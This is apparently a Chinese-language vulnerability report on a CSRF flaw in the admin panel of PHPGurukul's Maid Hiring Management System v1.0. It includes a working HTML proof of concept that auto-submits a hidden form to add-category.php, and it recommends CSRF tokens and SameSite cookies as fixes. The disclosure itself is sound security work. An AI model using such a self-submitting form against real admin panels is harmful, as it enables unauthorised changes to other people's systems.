项目名称和仓库 URL: 使用 PHP 和 MySQL 的 Maid Hiring Management System
漏洞类型: 客户端请求伪造
受影响版本: v1.0
💣漏洞描述: PHPGurukul Hiring Management System 的管理面板存在跨站请求伪造(CSRF)漏洞,攻击者可以通过诱骗已认证的管理员访问恶意站点来添加任意招聘类别。这可能导致数据污染和未经授权的管理员级更改。
👩💻影响: 未经授权的类别创建
🛜概念验证(PoC)

/admin/add-category.php 发送 POST 请求的 HTML 代码
CSRF-POC

<html>
<body>
<form action="http://127.0.0.1/mhms/admin/add-category.php" method="POST">
<input type="hidden" name="catname" value="CSRF-POC" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>


建议: 在管理表单中实施 CSRF 令牌、强制使用 SameSite Cookie 并验证请求来源,以防止未经授权的操作。